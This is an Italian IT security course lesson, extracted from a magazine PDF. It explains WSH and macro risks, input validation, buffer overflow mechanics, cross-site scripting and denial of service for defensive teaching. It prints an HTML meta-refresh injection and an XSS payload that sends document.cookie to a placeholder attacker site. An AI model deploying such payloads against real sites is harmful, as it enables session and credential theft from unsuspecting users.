fatto che WSH non pone n vincoli sul particolare linguag-
gio da usare (come gi ricordato, infatti, ne supporta di-
versi) n sul modello a oggetti con il quale gli script pos-
sono interagire.
Non quindi un linguaggio in s, e neppure una API, ben-
ch in realt implementi anche un suo modello a oggetti uti-
lizzabile dagli script da esso eseguiti.
Per l'esecuzione da consolle di script in ambiente WSH
esistono i comandi cscript e wscript. Il primo, che lavora in
contesto consolle, agevola il trattamento dei risultati del-
l'esecuzione dello script e consente di eseguire programmi
esterni. Wscript lavora invece indipendentemente dalla
consolle, perci in questo caso i risultati dello script (an-
che se emessi come semplici messaggi di testo con il co-
mando echo) saranno mostrati in uno o pi dialog box du-
rante la sua esecuzione.
Di solito wscript impostato come l'applicazione di de-
fault per eseguire gli script, pertanto esiste il rischio di
mandare accidentalmente in esecuzione uno script mole-
sto con un semplice doppio clic sul relativo file .vbs.
Per approfondimenti su WSH e lo scripting in ambiente
Windows: www.microsoft.com/technet/scriptcenter/
guide/sas_wsh_overview.mspx
Script di questo tipo, che possono accedere al Registry,
invocare applicazioni Windows attraverso il modello COM
(Common Object Model), montare dischi di rete, perfino
eseguire operazioni su computer remoti (se sussistono le
necessarie condizioni) hanno potenzialit enormemente
pi ampie rispetto agli script .BAT di MS-DOS, e proprio per
tale motivo pongono rischi per la sicurezza assai maggiori
poich possono essere sfruttati da malware (codice mali-
gno) per instaurare meccanismi subdoli con cui controlla-
re la macchina o disturbarne il funzionamento in vario mo-
do.
Anche per tale motivo prevista la possibilit di "mar-
chiare" con firma digitale gli script WSH per autenticare l'i-
dentit dell'autore. Altre possibilit per limitare i rischi so-
no l'imposizione di restrizioni sulla facolt di un utente di
eseguire script WSH o addirittura la disabilitazione totale di
WSH. Ad esempio, per evitare che uno script VBScript ven-
ga riconosciuto come tale dal sistema, col rischio che quin-
di possa essere eseguito, sufficiente aprire una finestra di
Esplora Risorse, selezionare Strumenti/Opzioni Cartella,
poi Tipi di File e scegliere nell'elenco l'estensione .VBS. (Fi-
gura 1) A questo punto, fare clic su Elimina.
I modi di mandare in esecuzione un programma o uno
script in ambiente Windows sono molteplici: tra quelli
espliciti citiamo il doppio clic sull'icona dell'eseguibile in
una finestra di Explorer o il doppio clic su un collegamen-
to all'eseguibile. Esistono anche metodi impliciti, quali l'in-
serimento di un collegamento all'eseguibile nel gruppo Ese-
cuzione automatica o nell'apposita sezione del file WIN.INI,
e via dicendo. I programmi antimalware elencano tra i pro-
pri scopi laccurato controllo di tutti i possibili agganci
(hook) ed eventualmente la loro bonifica per neutralizzare
il malware associato, come vedremo pi avanti.
La terza forma sotto cui pu presentarsi un codice ese-
guibile consiste nelle cosiddette macro. Si tratta di proce-
dure scritte in una sorta di linguaggio di scripting interno,
riconosciuto da alcune applicazioni di complessit medio-
alta, tra cui la suite Office, i programmi CAD e perfino cer-
ti editor. Applicazioni di questo livello sono capaci di ese-
guire un gran numero di operazioni, che vengono di norma
invocate in modo interattivo dall'utente per mezzo dell'in-
terfaccia grafica, con tastiera e mouse.
Tuttavia, per automatizzare operazioni ripetitive o per
parametrizzare alcune operazioni frequenti onde riappli-
care a oggetti diversi o con varianti dipendenti dal conte-
sto, viene generalmente offerta la possibilit di scrivere ve-
ri e propri programmi espressi in un particolare linguaggio
interno, di solito diverso da unapplicazione allaltra, con
l'eccezione delle suite integrate come Office, nelle quali al-
meno la sintassi generale viene mantenuta uniforme in tut-
ti i programmi per semplificarne l'apprendimento. Esegui-
re tali programmi equivale in tutto e per tutto a compiere
determinate sequenze di operazioni interattive (col risul-
tato di eseguire "macrooperazioni", donde il nome di "ma-
cro") e perci possiamo considerarli affini agli script pre-
sentati prima. Una particolarit sta tuttavia nel fatto che,
generalmente, possibile fare in modo che le macro ven-
gano memorizzate nei documenti ai quali si applicano. An-
cora pi importante, generalmente possibile fare s che
una determinata macro venga eseguita all'avvio dell'appli-
cazione. Se paragoniamo l'applicazione (per esempio
Word) al sistema operativo (per esempio Windows) e la
macro a uno script, una situazione del genere corrisponde
a uno script S agganciato al gruppo Esecuzione automa-
tica: la macro sar attivata all'avvio di Word, cos come lo
script S viene attivato all'avvio di Windows.
La conseguenza di tutto ci inquietante: si apre infatti
la possibilit di eseguire inavvertitamente un programma
solo per aver aperto un documento o anche solo un'appli-
cazione di uso normale e di per s innocua.
Come vedremo in dettaglio pi avanti, tale circostanza
stata naturalmente sfruttata dagli autori dei cosiddetti "vi-
rus delle macro di X", dove X il programma interessato.
La validit dell'input e la sicurezza
Tutti i programmi di una qualche utilit interagiscono
necessariamente con l'esterno, sia per ricevere input sia
per emettere in output i risultati. L'input somministrato al
programma evidentemente ne determina il comportamen-
to e, in ultima analisi, l'output.
Normalmente, il programma dovrebbe essere in grado
di trattare correttamente i valori o i dati di input accettabili
e rifiutare o ignorare quelli scorretti o fuori dall'intervallo
ammesso. Tuttavia, in generale, si pu dire che i program-
mi perfetti non esistono e se il programma non scritto in
modo rigorosamente corretto possibile che particolari
PC Open www.pcopen.it 81
Figura 1
Disabilitare VBScript
5.5.1.2 Essere al
corrente delle
esigenze di filtraggio
e validazione
dell'input ai fini della
sicurezza
ITAdministrator - Sicurezza informatica Lezione 5
valori forniti in input, magari con una determinata succes-
sione temporale (input pattern), comportino malfunziona-
menti.
Si noti che l'errore potrebbe anche non essere dovuto di-
rettamente al programma, ma a un bug del sistema opera-
tivo o di qualche altro componente software impiegato dal
programma per funzionare, come il driver di periferica. Va
da s che malfunzionamenti o vulnerabilit in tali aree han-
no ricadute potenziali assai pi ampie di quelle dovute a un
bug in una singola applicazione: potrebbero risultarne in-
fluenzati tutti i programmi che ne fanno uso. Come vedre-
mo pi in dettaglio tra poco, ad esempio, esiste tutta una
classe di problemi di sicurezza causati da una progettazio-
ne inadeguata di alcune basilari librerie del C.
Queste "incrinature" nella correttezza del sistema sono
sfruttabili per un attacco intenzionale. Il principio di base
relativamente semplice: studiare il bug per scoprire qua-
le particolare input pattern pu causare un errore o com-
portamento anomalo desiderato, quindi fare in modo che
il programma venga alimentato proprio con quell'input pat-
tern.
Il primo punto il pi complesso, specie perch l'attac-
cante pu analizzare il programma solo come un black box.
Avendo a disposizione il codice sorgente del programma
da analizzare, identificare le eventuali falle risulterebbe
molto pi semplice.
In ogni caso, falle di sicurezza dovute a cattiva gestione
dell'input vengono scoperte di continuo in applicazioni e si-
stemi operativi di larga diffusione. Quando scoperte da spe-
cialisti del contrasto al malware, il risultato la pubblica-
zione di una patch per chiudere la "falla". Spesso tuttavia la
stessa falla viene scoperta prima da malintenzionati e il ri-
sultato la realizzazione e la diffusione in rete di un
malware o virus basato su di essa. Inoltre, anche nel caso
in cui la falla venga prima identificata da una fonte amica,
possibile che alcuni attacchi vadano a segno per il ritar-
do con gli utenti applicano le patch di correzione. In questo
secondo caso il pericolo potr dirsi circoscritto solo quan-
do saranno soddisfatte due condizioni: la disponibilit di
un aggiornamento per antivirus e antimalware per rilevare
il nuovo agente molesto e una patch al sistema operativo o
all'applicazione coinvolta per impedire l'ulteriore uso del-
la vulnerabilit da parte di tale malware o di altri basati sul-
lo stesso principio.
Una regola di programmazione vuole che linput dellu-
tente venga sempre verificato al fine di evitare che falle nel-
la procedura dinserimento dati di unapplicazione con-
sentano ai malintenzionati di mandare in crisi lapplicazio-
ne stessa oppure sfruttarla per guadagnare accesso a ri-
sorse. Solo tramite una validazione rigorosa dellinput e un
suo filtro accurato prima di accettarlo consentono di tute-
larsi da attacchi su tale fronte. In particolare qualsiasi for-
ma di input da parte di un utente anonimo potenzial-
mente pericolosa e va verificata prima di trasferirla a un da-
tabase che contenga informazioni controllate e affidabili.
Esistono diversi metodi per sfruttare la mancanza di con-
trollo dellinput a scopi malevoli. Il primo di questi consiste
nellinserire nei dati di input unistruzione che costringa il
server su cui linput verr memorizzato a compiere una-
zione imprevista. Prendiamo lesempio pratico di un sito
che consenta ai propri visitatori di scrivere commenti sui
prodotti proposti a beneficio di altri acquirenti. Un visita-
tore che avesse particolare interesse nel prodotto rosso
potrebbe inserire tra i commenti del prodotto bianco la
seguente riga di codice HTML: <meta http-equiv=refresh
content=1; URL=http://www.miosito.it/prodotto_rosso.
aspx>. In tal modo, qualsiasi visitatore che arrivasse sulla
pagina del prodotto bianco verrebbe trasferito automa-
ticamente nel giro di un secondo alla pagina del prodotto
rosso suo malgrado.
Unaltra modalit di sfruttamento di un input non con-
trollato e nella fornitura di input troppo lunghi tali da pro-
vocare un buffer overrun o overflow ossia il debordare dei
dati forniti nello spazio di memoria riservato allesecuzio-
ne di una query (richiesta) al database residente sul server,
permettendogli cos di alterarne il contenuto sfruttando la
via di accesso aperta dallapplicazione (vedi pi avanti una
spiegazione dettagliata di buffer overflow). Ancora peg-
gio sarebbe il caso di unapplicazione che accettasse di-
rettamente linput di un utente come parte di una query
SQL (lo Structured Query Language usato per qualsiasi ope-
razione su database). Conoscendo il funzionamento in det-
taglio del linguaggio SQL, lattaccante potrebbe alterarne il
funzionamento al punto di poter guadagnare accesso al da-
tabase anche se sprovvisto di un nome utente e di una
password regolari. Un terzo metodo di sfruttamento di un
input non controllato consiste nel cross-site scripting, de-
scritto in dettaglio pi avanti.
Attacchi "Buffer overflow"
Abbiamo menzionato la possibilit di scatenare com-
portamenti anomali (ma utili ai fini di attacco) in un siste-
ma o in un applicativo, fornendo in input valori non validi
o fuori dall'intervallo ammissibile (fuori range). Con tale
espressione non intendiamo solo numeri troppo grandi o
troppo piccoli, o negativi anzich positivi, ma soprattutto,
pi precisamente, stringhe di caratteri o blocchi di dati ec-
cessivamente lunghi. Gli attacchi che mirano a prendere il
controllo del programma o della macchina facendo leva su
questa vulnerabilit si chiamano buffer overflow attacks ed
probabilmente la tecnica che ultimamente sta generando
il maggior numero di minacce alla sicurezza del software (e
che, parallelamente, sta costringendo i produttori all'e-
missione di una serie interminabile di patch per la sicurez-
za, aggiornamenti critici e Service Pack).
Vediamo su quali principi si basa un attacco di buffer
overflow.
Gran parte del codice dei sistemi operativi in circola-
zione stato scritto in linguaggi non recenti, come il C, i cui
meccanismi di input/output, ideati 30 anni fa, non sono sta-
ti progettati tenendo nella dovuta considerazione deter-
minati casi di utilizzo scorretto che oggi sono di rilevanza
molto maggiore rispetto ad allora proprio a causa dei nuo-
vi scenari di utilizzo in rete e del fenomeno dei virus e dei
malware.
In particolare, in C, se si usano per l'input/output le li-
brerie standard, numerose funzioni non hanno la possibi-
lit di verificare se l'area di memoria di destinazione dei da-
ti (generalmente un array di caratteri) ha dimensioni suffi-
cienti per contenerli tutti. Esse comprendono:
le funzioni per la lettura di righe di testo da tastiera
(gets()),
le funzioni per la copia o concatenazione di stringhe (str-
cat(), strcpy()),
le funzioni per l'emissione di messaggi di output su buffer
in memoria centrale (sprintf(),vsprintf()),
e funzioni per interpretare stringhe ricevute da rete, disco
o tastiera, riconoscendo ed estraendone campi anche di
tipo stringa (famiglia di funzioni scanf())
In passato questa evidente pecca in cos tante impor-
tanti funzioni di libreria era considerata un deprecabile
infortunio con il quale tuttavia si poteva accettare di con-
vivere, dato che l'evenienza di passare "troppi" dati a una
di esse era generalmente il risultato di un errore di pro-
grammazione, ma i dati di troppo erano "genuinamente ca-
suali" e "innocenti" e potevano avere tutt'al pi l'effetto di
mandare in blocco l'applicazione. Qualche perdita di dati
(parzialmente ovviabile con frequenti salvataggi e regolari
backup) e la necessit di riavviare l'applicazione, costitui-
vano il bilancio dei fastidi causati da tali malfunzionamen-
ti. Tutto sommato ci si era abituati ad accettarlo come un
male necessario.
Purtroppo per, con il passare del tempo, qualche abi-
le malintenzionato ha intravisto la possibilit di sfruttare in
PC Open www.pcopen.it 82
5.5.1.3 Essere al
corrente dei differenti
tipi di overflow e le
possibilit di
sfruttamento per
l'esecuzione di
codice.
Lezione 5 IT Administrator - Sicurezza informatica
modo assai sottile questo genere di malfunzionamento per
far eseguire al computer codice qualsiasi. In sostanza, per
esempio, se l'amministratore di sistema sta eseguendo
(con pieni poteri, evidentemente) un programma vulnera-
bile oppure un programma "ben scritto" ma fatto girare su
un sistema operativo vulnerabile, l'attaccante deve solo
riuscire a spedire un input opportuno a tale programma
per far eseguire alla macchina un proprio algoritmo con pri-
vilegi di amministratore, quindi con la possibilit di for-
mattare il disco, terminare processi di sistema o il sistema
stesso, accedere a dati sensibili e via dicendo. Vediamo bre-
vemente come.
Quando il programma in esecuzione, il suo codice ese-
guibile e le sue variabili sono ospitati in regioni ben preci-
se della memoria. Inoltre, quando nell'algoritmo una fun-
zione F1 a un certo punto P della sua esecuzione chiama
un'altra funzione F2, vi la necessit di ricordare l'indiriz-
zo dell'istruzione P, in modo tale che al termine della fun-
zione F2 si possa riprendere l'esecuzione di F1 dall'istru-
zione successiva a quella, P, in cui si era momentaneamen-
te interrotta.
L'indirizzo dell'istruzione successiva a P, detto "indi-
rizzo di ritorno" o return address (RA). Terminata l'esecu-
zione della funzione F2, il processore eseguir un salto al-
l'indirizzo RA, dove ci si aspetta che si trovino nuove istru-
zioni da eseguire (normalmente, come accennato, si tratta
delle istruzioni della parte restante della funzione F1).
Purtroppo, l'area di memoria in cui vengono alloggiate le
variabili della funzione e quella in cui viene alloggiato il re-
turn address sono contigue e si trovano entrambe sulla pi-
la (stack), con un ordinamento rigidamente fissato (e che
dipende dalle convenzioni usate dal processore). Su mac-
chine Intel, per esempio, si sa che l'indirizzo di parcheggio
del RA di una funzione si trova sempre a indirizzi successi-
vi a quelli in cui si trovano memorizzate le variabili locali di
quella funzione e dei suoi blocchi.
Se dunque la funzione contiene istruzioni delle famiglie
"vulnerabili" sopra ricordate, fatte lavorare su buffer che
ospitano variabili locali della funzione, allora esiste il ri-
schio che un buffer overflow possa andare a sovrascrivere
le locazioni di memoria successive, tra le quali, come ri-
cordato, c' il Return Address (RA) della funzione: l'indi-
rizzo al quale il processore salter quando la funzione sar
terminata.
Basterebbe quindi riuscire a costruire dati di input fatti
in modo tale che l'eccedenza vada esattamente a ricoprire
le locazioni del RA con un indirizzo desiderato per obbli-
gare il programma una volta terminata la funzione F a
proseguire l'esecuzione non seguendo il cammino norma-
le, ma saltando alla locazione scelta dall'attaccante.
Tale locazione pu essere, nei casi pi semplici:
l'indirizzo di un altro punto dello stesso programma, per
sconvolgere il funzionamento del programma o corrom-
pere i dati alterandone la logica di elaborazione nomina-
le;
un indirizzo non valido, per causare un crash immediato
del programma. In Linux l'effetto pu essere un core dump
con eccezione Segmentation Violation se l'indirizzo fuo-
ri dal segmento Codice, oppure Illegal Instruction se l'in-
dirizzo macroscopicamente valido ma corrispondente
a una locazione che non contiene un opcode valido, op-
pure ancora Bus Error se l'indirizzo non multiplo di 2, 4
o 8 bytes come richiesto dall'architettura del processore.
Sono per possibili anche opzioni pi subdole e pur-
troppo si tratta proprio della norma in questo genere di at-
tacchi: la locazione imposta dall'attaccante come Return
Address pu infatti essere:
l'indirizzo di una routine scritta apposta dall'attaccante e
progettata per causare specifici danni immediati, come
formattare il disco, spegnere il sistema, corrompere i da-
ti a caso, divulgare segreti (per esempio password, lista
dei bookmark, e-mail) trasmettendoli a terzi via rete, al-
l'insaputa dell'utente;
l'indirizzo di una routine che installa nel sistema un virus
o un malware, in modo tale da consolidare la "testa di
ponte" sul sistema e instaurare una vulnerabilit stabile
e ancora pi facile da sfruttare;
l'indirizzo di una routine progettata per mandare in ese-
cuzione un programma esterno (PE) con i medesimi pri-
vilegi dell'utente che sta facendo girare il programma sot-
to attacco. Come caso particolare di PE vi naturalmen-
te una shell dei comandi: una volta riuscito a far partire
una shell, l'attaccante pu far eseguire comandi qualsia-
si con gli stessi "poteri" dell'utente. Questo il tipo di at-
tacco pi potente (in quanto fornisce all'hacker lo spettro
pi ampio di possibilit e consente gli effetti pi critici) e
purtroppo anche il pi frequente.
Per montare quest'ultimo tipo di attacco, l'attaccante de-
ve scoprire innanzitutto se l'applicazione ha punti di vul-
nerabilit di questo genere, poi, dopo averne identificato
uno, costruire un input pattern "idoneo" a sfruttarlo, il che
richiede fondamentalmente di risolvere, tra gli altri, i se-
guenti problemi:
scrivere una routine che mandi in esecuzione il pro-
gramma desiderato
scoprire quante locazioni dista la locazione dove me-
morizzato il RA dalla locazione dove termina il buffer og-
getto dell'attacco, per sapere con precisione in che pun-
to del buffer collocare il RA;
posizionare nel buffer il codice macchina della routine in
modo tale che esso finisca con il trovarsi all'indirizzo im-
postato come RA;
evitare che il codice macchina nascosto nell'input pattern
contenga valori zero, in quanto essi sarebbero interpre-
tati come "fine stringa" e interromperebbero la copiatura
del buffer vanificando l'attacco.
Esistono tecniche che purtroppo permettono di svolge-
re con relativa facilit ognuno di questi compiti e sono ab-
bastanza facili da reperire anche esempi di "codice infet-
tante" per vari tipi di processore e sistema operativo.
Non approfondiremo oltre l'argomento, ma importan-
te osservare che, come abbiamo visto, i rischi sono vera-
mente gravi e purtroppo l'unica difesa sta nella collabora-
zione tra il produttore del software, che intraprende cam-
pagne di indagine e "bonifica" che culminano nel rilascio di
aggiornamenti critici e service pack, e l'utente finale, che
deve scaricare e installare tutti questi aggiornamenti ap-
pena disponibili, anche se in alcuni casi necessario con-
trollare che la patch non introduca nuovi problemi a sua
volta ( sufficiente verificare lesistenza su Internet di
eventuali segnalazioni in tal senso). Per lutente privato
consigliabile comunque lasciare abilitati eventuali mecca-
nismi di aggiornamento automatico del sistema (in am-
biente PC, Windows Update o Microsoft Update) e dell'an-
tivirus o antispyware prescelto. Producendo backup pe-
riodici che consentano di ripristinare il sistema alla situa-
zione precedente nel caso di patch problematiche (abba-
stanza rare).
Per approfondimenti su attacchi di tipo "buffer over-
flow": http://pintday.org/whitepapers/other/p49-14
Attacchi "cross-site scripting"
La visita di siti Web senz'altro diventata una delle ope-
razioni pi comuni su un PC attuale. Come anche i pi
sprovveduti ormai sanno, ci sono siti da considerare "affi-
dabili" e altri siti, invece, la cui visita pu comportare fa-
stidi o addirittura pericolo. Nei casi pi blandi, si infasti-
diti dall'apertura di altre finestre, popup e magari adescati
da qualche richiesta dinstallazione di dialer subdolamen-
te camuffata da proposta di plug-in pi o meno firmato e "si-
curo", ma niente che non si possa tenere a bada semplice-
mente chiudendo finestre e rispondendo "no". E soprat-
tutto, di solito la minaccia correlata al sito che si sta visi-
PC Open www.pcopen.it 83
5.5.1.4 Essere al
corrente della
possibilit di attacchi
"cross-site
scripting".
ITAdministrator - Sicurezza informatica Lezione 5
tando: l'utente percepisce l'equazione "sito sospetto o
sconosciuto = stare in guardia". Questo, se non altro, ga-
rantisce un salutare aumento di prudenza almeno nelle si-
tuazioni pi palesemente a rischio.
I guai cominciano quando gli hacker utilizzano tecniche
con le quali riescono a dare all'ignaro navigatore l'impres-
sione di visitare normalmente un sito "sicuro", mentre in
realt stanno anche trafugando segreti o dati sensibili fa-
cendoli trasmettere pi o meno nascostamente a un loro si-
to di raccolta mentre in corso la visita del sito principa-
le. Attacchi di questo genere vanno sotto il nome di "cross-
site scripting": la locuzione "cross-site" si riferisce proprio
all'attacco orchestrato in modo tale da risultare in un tra-
sferimento di informazioni riguardanti il sito evidente ver-
so quello occulto, durante una visita apparentemente nor-
male del primo; il termine "scripting" ricorda la tecnica con
cui viene normalmente realizzato, ossia l'inserimento di op-
portune istruzioni JavaScript in un link o pagina.
Ma com possibile farlo senza che l'utente se ne accor-
ga? E quali sono le informazioni trafugabili?
Generalmente gli attacchi cross-site scripting (abbre-
viati CSS, o anche XSS, per non confonderli con i Cascading
Style Sheets) mirano a ottenere i valori dei cookie registra-
ti per altri siti.
Ricordiamo che i cookie (letteralmente: biscotti) sono
valori che molti siti web, quando vistati, memorizzano sul
browser del visitatore. Lo scopo pu essere quello di ri-
cordare alcune informazioni per non costringere l'utente a
reinserirle ogni volta: per esempio, per i siti che richiedo-
no registrazione per l'ingresso, i cookie potrebbero conte-
nere login e password; per i siti di commercio elettronico,
potrebbero venire memorizzati invece l'indirizzo di conse-
gna e (pericolosissimo) il numero dell'ultima carta di cre-
dito usata per gli acquisti su quel sito.
Altri siti "ricordano" l'ultima visita dell'utente per "salu-
tarlo" in occasione delle sue visite successive, anche sen-
za che egli debba effettuare esplicitamente un login.
Altri siti ancora utilizzano i cookie per fini meno grade-
voli, come il tracciamento delle abitudini dell'utente in ter-
mini di navigazione, ricerca o acquisto all'interno di un si-
to al fine di personalizzare i contenuti del banner pubblici-
tario esposto dal sito stesso.
Ora, considerando proprio il caso del numero della car-
ta di credito, ovvio che l'idea di memorizzarlo nel brow-
ser appaia quantomeno imprudente, soprattutto se vi la
possibilit che questa informazione possa essere letta da
altri a nostra insaputa.
In teoria il meccanismo dei cookie dovrebbe funzionare
nel rispetto di una regola di fondamentale importanza: i da-
ti raccolti da un sito servono solo al sito stesso e sono ac-
cessibili soltanto da quel sito.
Per tentare di circoscrivere il rischio di lettura dei
cookie da parte di terzi non autorizzati stato stabilito che
i cookie possano essere letti (o aggiornati) solo dal sito che
gli ha scritti: ossia, se un sito di vendite online ha memo-
rizzato in un proprio cookie il numero della mia carta di cre-
dito, non sar possibile per un altro sito accedere diretta-
mente allo stesso cookie. Garante del rispetto di tale re-
strizione dovrebbe essere il browser, il quale a tal fine me-
morizza, per ogni cookie, una serie di informazioni di con-
trollo, tra cui, innanzitutto, il sito titolare del cookie, ma an-
che la sua data di scadenza e via dicendo.
Tuttavia gli attacchi XSS possono riuscire ad aggirare ta-
le restrizione sfruttando le vulnerabilit se presenti di al-
cuni siti.
L'idea base di fare in modo che l'utente inconsapevol-
mente mandi al sito X, legittimo titolare del cookie Cx,
uninterrogazione nella quale i dati di input siano costitui-
ti da uno script JavaScript il cui effetto consiste nel legge-
re il valore del cookie e usarlo per costruire un'interroga-
zione a un sito Y.
Allora, se il sito X non protetto contro questo tipo di at-
tacco, accadr che il sito X ricever l'interrogazione e ten-
ter di servirla; i dati di input per sono sbagliati (perch
si tratta di un frammento di codice JavaScript anzich, per
esempio, di una stringa di ricerca valida, come il nome di
un articolo da acquistare o simile), perci X potrebbe vi-
sualizzare una pagina che riporta i dati di input ricevuti e
aggiunge, per esempio, la dicitura "No results found. Plea-
se try again". Il guaio che riportando esattamente i dati di
input cos come li ha ricevuti, il sito X ha "fatto la frittata".
Infatti quei dati di input erano un frammento di codice Ja-
vaScript e includendo tale codice, immutato, sulla pagina
che restituisce lerrore, il browser lo ha eseguito!
vero che quello che appare una pagina di errore del
sito X in cui si vede del codice JavaScript sospetto e che l'u-
tente sa di non aver mai digitato, e ci potrebbe mettere in
sospetto un utente pratico di JavaScript (comunque in ri-
tardo, visto che i dati, ormai, sono gi arrivati sul sito pi-
rata); ma l'utente medio con ogni probabilit considere-
rebbe la strana pagina apparsa un banale errore "come se
ne vedono tanti" e passerebbe oltre.
Ora, se il codice JavaScript fosse stato qualcosa del tipo
<script>alert(document.cookie)</script>
sarebbe apparsa una finestra contenente tutti i cookie at-
tualmente impostati dal sito X (finestra vuota, ovviamente,
se non ve ne sono ancora): un effetto sorprendente, ma tut-
to sommato ancora innocuo; se invece fosse stato qualco-
sa come
<script>document.location='http://miosito/
cgi-bin/mioscript.cgi?'+document.cookie</script>
allora tutti i cookie (si badi bene: quelli relativi al sito X!) sa-
rebbero stati spediti al sito "miosito" e qui dati in pasto al-
lo script "mioscript", che potrebbe per esempio archiviar-
li o usarne il valore per compiere acquisti a mio nome sul
sito X (usando i miei login e password su quel sito, se era-
no memorizzati nei cookie di X) o altrove, usando magari il
numero della mia carta di credito (se era memorizzato in
un cookie di X). In altre parole, l'attacco XSS riuscito nel-
l'impresa apparentemente impossibile di rendere accessi-
bili al sito "miosito" dei cookie "di propriet" di un altro si-
to, il sito X. Il trucco si basa sul fatto che formalmente il co-
dice JavaScript che richiede l'accesso al cookie Cx viene
eseguito su richiesta di una pagina generata dal sito X, il
che considerato valido dal browser il quale autorizza l'o-
perazione. Il problema che il valore ottenuto viene poi
usato come parametro di una query a un sito Y e a questo
punto... i buoi sono scappati dal recinto.
Tutto questo scenario fortunatamente possibile solo a
certe condizioni il cui verificarsi sempre pi improbabi-
le:
Il sito X deve essere vulnerabile a questo tipo di attacco:
ci si verifica quando X non esegue controlli sui dati di in-
put per rifiutarli quando contengono caratteri non am-
messi (per esempio, "<" e ">") o comunque stringhe che
sembrano essere codice JavaScript e non dati validi. Sem-
pre pi siti sono protetti su tale fronte, sia perch la con-
sapevolezza di tale problema si sta diffondendo, sia per-
ch i linguaggi in cui i siti sono realizzati ormai mettono
a disposizione librerie che integrano tale protezione.
Il sito X deve memorizzare nei cookie informazioni rile-
vanti come username, password, codice della carta di
credito, indirizzo personale. Questa politica alquanto im-
prudente sostanzialmente in via di abbandono. Nessun
sito di commercio elettronico vuole assumersi la re-
sponsabilit di aver causato il trafugamento dinforma-
zioni riservate dei suoi clienti a causa dell'imperizia dei
propri programmatori Web. A parte il gravissimo danno
d'immagine che ne deriverebbe, infatti, si pu ben pen-
PC Open www.pcopen.it 84
Lezione 5 IT Administrator - Sicurezza informatica
sare alle serie complicazioni legali a cui, specie in certi
Paesi, si andrebbe incontro in una situazione del genere.
Al di l di queste due condizioni "tecniche", comunque,
si deve riuscire a fare in modo che l'utente mandi a X unin-
terrogazione contenente codice JavaScript senza che se ne
accorga. Questo, purtroppo, ancora relativamente facile
e probabilmente lo rimarr a lungo, anche a causa dell'im-
prudenza di troppi utenti. appena il caso di menzionare
il fatto che attacchi di questo tipo possono teoricamente
sfruttare non solo JavaScript, ma anche VBScript, ActiveX
e perfino Flash.
generalmente sufficiente includere una URL apposita-
mente costruita in una mail e fare in modo che l'utente sia
indotto ad aprire la mail e a cliccare sul link. Come pur-
troppo si sa, il fenomeno del phishing dimostra che la cu-
riosit forte e l'imprudente abitudine di aprire mail sen-
za controllare il mittente ancora diffusa.
Ancora pi subdolamente, possibile fare in modo che
l'attacco si scateni semplicemente perch in una mail rice-
vuta presente un'immagine la cui URL di caricamento in-
tegra gi lo script usato per l'attacco: quando il mail client
tenter di aprire l'immagine per mostrare il messaggio nel-
la sua completezza, l'attacco sar gi avvenuto. Non a ca-
so alcuni browser, come Firefox, bloccano "d'ufficio" la vi-
sualizzazione di immagini presenti nel messaggio se queste
sono provenienti da Internet e non allegate al messaggio.
Infine, un altro modo per far scattare l'attacco XSS pu
essere orchestrato anche tra siti Web (e qui la locuzione
"cross-site" calza a meraviglia), senza bisogno di usare la
posta come "innesco". Questa tecnica richiede per che l'u-
tente visiti un sito A in cui presente il link "maligno" al si-
to B (i cui cookie saranno inviati al sito C del pirata). da
escludere che un sito di buona reputazione scelga delibe-
ratamente dinserire nelle proprie pagine un link "maligno"
per scatenare un attacco XSS verso i propri visitatori. Tut-
tavia un sito potrebbe restare a sua volta vittima di terzi e
diventare inconsapevolmente esca per un attacco XSS. Per
esempio, accade spesso che i banner pubblicitari, ormai
onnipresenti anche su molti siti "fidati", siano immagini ge-
nerate da URL di lunghezza "sospetta". Essendo possibile
occultare parti di URL codificandole in esadecimale, per un
utente medio risulta difficile vedere che cosa, in realt, rap-
presentino tali URL.
Per approfondimenti sugli attacchi CSS/XSS si veda ad
esempio http://www.cgisecurity.com/articles/xss-faq.shtml
Gli attacchi Denial of Service (DoS)
e Distributed Denial of Service (DDoS)
Gli attacchi DoS e DDoS hanno lo scopo di mettere fuo-
ri uso un servizio su Internet oppure di impedirne l'uso da
parte di utenti legittimi.
Anche se questo tipo di minaccia vale per qualunque si-
to, la casistica pi clamorosa riguarda soprattutto siti com-
merciali ( ormai celebre e paradigmatico il caso degli at-
tacchi ai siti Amazon e Yahoo! avvenuti nel febbraio 2000).
La tecnica su cui si basa lattacco consiste nell'inviare in ra-
pida successione un numero esageratamente alto di ri-
chieste che, prese singolarmente, sarebbero del tutto nor-
mali. Ci pu provocare:
problemi di congestione a livello della connessione di re-
te usata dal sito Web;
un carico di lavoro eccessivo per il server applicativo.
Qualunque limite venga raggiunto per primo, il sito co-
mincer a manifestare disservizi osservabili per l'utente
normale.
Il primo tipo di esito, ossia la saturazione della connes-
sione di rete del sito sotto attacco, possibile solo se l'at-
taccante dispone di una banda pari o superiore a quella del
sito, cos da essere in grado di generare un flusso di ri-
chieste complessivamente insostenibile per il sito "vitti-
ma". Tale condizione improbabile per siti commerciali.
Pi realistica la seconda minaccia, qualora il server
non abbia capacit di calcolo, memoria, disco e I/O ade-
guatamente proporzionati alla banda verso Internet e al
PC Open www.pcopen.it 85
5.5.1.5 Essere al
corrente della
possibilit di attacchi
"denial-of-service"
(DoS), e come i
diversi ambienti e
risorse ne risultino
affetti.
A
t
t
a
c
c
o
P
o
s
s
i
b
i
l
i

i
n
n
e
s
c
h
i
1B: Lutente visita inconsapevolmente un sito pirata
2B: Il sito pirata presenta una pagina su cui compare un link verso il sito fidato.
Nel link per occultato del codice JavaScript progettato per lattacco XSS
1A: Il sito pirata invia una e-mail che invita a visitare un sito fidato cliccando un link.
La mail non contiene allegati infetti ed realizzata in modo tale da non destare sospetti.
Il link per nasconde del codice JavaScript progettato per lattacco XSS
OPPURE
3: Lutente seleziona il link al sito fidato. Il browser si collega al sito ed
effettua una richiesta di elaborazione, di ricerca o altro, a seconda del sito;
nella URL trasmessa, come valore del parametro, c il codice JavaScript
Utente
Sito fidato Sito pirata
4: Il sito non riesce a processare lURL e ritorna una pagina
derrore in cui viene riportato testualmente il parametro errato.
Il valore di tale parametro per la stringa del codice JavaScript.
Il risultato quindi una pagina proveniente dal sito fidato,
ma contenente il codice JavaScript scritto dallattaccante
5: Il browser esegue automaticamente il codice JavaScript che ha trovato
nella pagina inviata dal sito fidato. Il codice JavScript legge i cookies del sito
fidato e li usa per costruire una URL con cui viene fatto un accesso al sito
pirata. A questo punto il sito pirata ha gi ricevuto le informazioni segrete
Browser
ITAdministrator - Sicurezza informatica Lezione 5
flusso di richieste che essa permette teoricamente di rice-
vere.
